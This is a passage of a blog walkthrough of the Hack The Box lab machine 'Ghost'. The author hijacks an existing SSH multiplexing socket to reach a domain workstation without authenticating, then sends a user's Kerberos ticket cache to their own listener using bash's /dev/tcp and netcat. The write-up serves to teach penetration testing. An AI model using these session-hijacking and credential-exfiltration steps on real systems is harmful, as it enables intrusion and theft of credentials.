.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I doubt the user have access to WinRM, but it can still be used for collecting domain information with BloodHound. I’ll revisit the findings once a proper foothold in the domain is established.</p>

<p>A Docker script is also found in the root directory:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">36b733906694</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@36b733906694</span>:<span class="linux-path">/</span><span class="linux-char">#</span></span> <span class="linux-bash">ls -la</span>

<span class="linux-output">total 84
drwxr-xr-x   1 root root 4096 Jul 22 17:03 .
drwxr-xr-x   1 root root 4096 Jul 22 17:03 ..
-rwxr-xr-x   1 root root    0 Jul 22 17:03 .dockerenv
drwxr-xr-x   1 root root 4096 Jul  5  2024 app
lrwxrwxrwx   1 root root    7 Jul  1  2024 bin -&gt; usr/bin
drwxr-xr-x   2 root root 4096 Mar 29  2024 boot
drwxr-xr-x   5 root root  340 Jan 14 07:40 dev
-rwxr-xr-x   1 root root  215 Jul 22 17:02 docker-entrypoint.sh
drwxr-xr-x   1 root root 4096 Jul 22 17:03 etc
drwxr-xr-x   2 root root 4096 Mar 29  2024 home
lrwxrwxrwx   1 root root    7 Jul  1  2024 lib -&gt; usr/lib
lrwxrwxrwx   1 root root    9 Jul  1  2024 lib64 -&gt; usr/lib64
drwxr-xr-x   2 root root 4096 Jul  1  2024 media
drwxr-xr-x   2 root root 4096 Jul  1  2024 mnt
drwxr-xr-x   2 root root 4096 Jul  1  2024 opt
dr-xr-xr-x 196 root root    0 Jan 14 07:40 proc
drwx------   1 root root 4096 Jul  5  2024 root
drwxr-xr-x   1 root root 4096 Jul  5  2024 run
lrwxrwxrwx   1 root root    8 Jul  1  2024 sbin -&gt; usr/sbin
drwxr-xr-x   2 root root 4096 Jul  1  2024 srv
dr-xr-xr-x  13 root root    0 Jan 14 07:40 sys
drwxrwxrwt   1 root root 4096 Jul  5  2024 tmp
drwxr-xr-x   1 root root 4096 Jul  1  2024 usr
drwxr-xr-x   1 root root 4096 Jul  1  2024 var</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<h6 id="docker-entrypointsh"><code class="language-plaintext highlighter-rouge">docker-entrypoint.sh</code>:</h6>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nb">mkdir</span> /root/.ssh
<span class="nb">mkdir</span> /root/.ssh/controlmaster
<span class="nb">printf</span> <span class="s1">'Host *\n  ControlMaster auto\n  ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n  ControlPersist yes'</span> <span class="o">&gt;</span> /root/.ssh/config

<span class="nb">exec</span> /app/ghost_intranet
</code></pre></div></div>

<p>No secrets are found in it, but there’s a line relating to SSH that I don’t quite understand.</p>

<h3 id="ssh-multiplexing">SSH Multiplexing:</h3>

<p>I threw the command to ChatGPT and it gave a pretty good explanation of what’s happening.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/chatgpt_multiiplex.png?raw=true" alt="" /></p>

<p>Basically, it modifies the SSH config file to enable <a href="https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing">multiplexing</a>, a feature that allows multiple SSH sessions to share a single connection to a server. This significantly speeds up repeated connections by avoiding the overhead of re-authentication and connection setup, and is especially useful in automation and scripting.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">36b733906694</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@36b733906694</span>:<span class="linux-path">~</span><span class="linux-char">#</span></span> <span class="linux-bash">cat .ssh/config</span>

<span class="linux-output">Host *
  ControlMaster auto
  ControlPath ~/.ssh/controlmaster/%r@%h:%p
  ControlPersist yes</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Once the master connection is established, it will be persisted through a socket file specified by the <code class="language-plaintext highlighter-rouge">ControlPath</code> setting. In <code class="language-plaintext highlighter-rouge">.ssh/controlmaster</code>, there’s already an existing connection to <code class="language-plaintext highlighter-rouge">dev-workstation</code> as <code class="language-plaintext highlighter-rouge">florence.ramirez@ghost.htb</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">36b733906694</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@36b733906694</span>:<span class="linux-path">~/.ssh</span><span class="linux-char">#</span></span> <span class="linux-bash">ls -la controlmaster</span>

<span class="linux-output">total 12
drwxr-xr-x 1 root root 4096 Mar 29 09:47 .
drwxr-xr-x 1 root root 4096 Jul  5  2024 ..
srw------- 1 root root    0 Mar 29 09:47 florence.ramirez@ghost.htb@dev-workstation:22</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>As shown by <a href="https://oooops.dev/2021/01/31/ssh-multiplexing-and-master-mode/">this blog post</a>, the connection can be reused by specifying the socket file in the SSH command.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">36b733906694</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">root@36b733906694</span>:<span class="linux-path">~/.ssh/controlmaster</span><span class="linux-char">#</span></span> <span class="linux-bash">ssh -S florence.ramirez@ghost.htb@dev-workstation:22 ghost.htb</span>

<span class="linux-output">Last login: Thu Feb  1 23:58:45 2024 from 172.18.0.1</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script><span class="linux-prompt"><span class="linux-user">florence.ramirez@LINUX-DEV-WS01</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">id</span>

<span class="linux-output">uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>It logged me in to <code class="language-plaintext highlighter-rouge">LINUX-DEV-WS01</code>, without prompting me for authentication.</p>

<hr />
<h2 id="escalation-florence.ramirez">Escalation from <code class="language-plaintext highlighter-rouge">florence.ramirez</code>:</h2>
<h3 id="kerberos-cache">Kerberos Cache:</h3>

<p>A Kerberos cache file is found in the environment variables:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">LINUX-DEV-WS01</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">florence.ramirez@LINUX-DEV-WS01</span>:<span class="linux-path">~</span><span class="linux-char">$</span></span> <span class="linux-bash">env</span>

<span class="linux-output">SHELL=/bin/bash
PWD=/
KRB5CCNAME=FILE:/tmp/krb5cc_50
LOGNAME=florence.ramirez
MOTD_SHOWN=pam
HOME=/home/GHOST/florence.ramirez
SSH_CONNECTION=172.18.0.3 52500 172.18.0.2 22
USER=florence.ramirez
SHLVL=1
LC_CTYPE=C.UTF-8
SSH_CLIENT=172.18.0.3 52500 22
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
SSH_TTY=/dev/pts/0
_=/usr/bin/env
OLDPWD=/home/GHOST/florence.ramirez</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Copying the file is a little bit tricky, as the host is even more restricted than the Docker container. Many common tools like <code class="language-plaintext highlighter-rouge">nc</code> or <code class="language-plaintext highlighter-rouge">python</code> are not available. I’ll use <code class="language-plaintext highlighter-rouge">bash</code>’s built-in TCP socket instead.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">nc -lvnp 8001 &gt; krb5cc_50</span>
<span class="cmd-output">listening on [any] 8001 ...</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">LINUX-DEV-WS01</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="linux-prompt"><span class="linux-user">florence.ramirez@LINUX-DEV-WS01</span>:<span class="linux-path">/</span><span class="linux-char">$</span></span> <span class="linux-bash">cat /tmp/krb5cc_50 &gt; /dev/tcp/10.10.14.93/8001</span>
<style>
.linux-prompt,
.linux-user,
.linux-path,
.linux-char  { color: #4ce64c; font-weight: bold; }
.linux-output { color: #f0e6d3; }
.linux-bash   { color: #f0e6d3; }
.linux-tok-bin  { color: #57c7ff; }
.linux-tok-flag { color: #5af78e; }
.linux-tok-num  { color: #f0e6d3; }
.linux-tok-str  { color: #f3f99d; }
.linux-tok-arg  { color: #f0e6d3; }
</style>
<script>
(function () {
  document.querySelectorAll('.linux-bash').forEach(function (el) {
    var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    el.innerHTML = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                                { cls = 'linux-tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))          { cls = 'linux-tok-flag'; }
      else if (/^["']/.test(tok))               { cls = 'linux-tok-str';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'linux-tok-num'; }
      else if (/^[\d.]+$/.test(tok))            { cls = 'linux-tok-num';  }
      else                                      { cls = 'linux-tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    }).join('');
  });
})();
</script></pre>
  </div>
</div>

<p>With the cache file, I can access the domain as <code class="language-plaintext highlighter-rouge">florence.ramirez</code>, but still no shell access.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
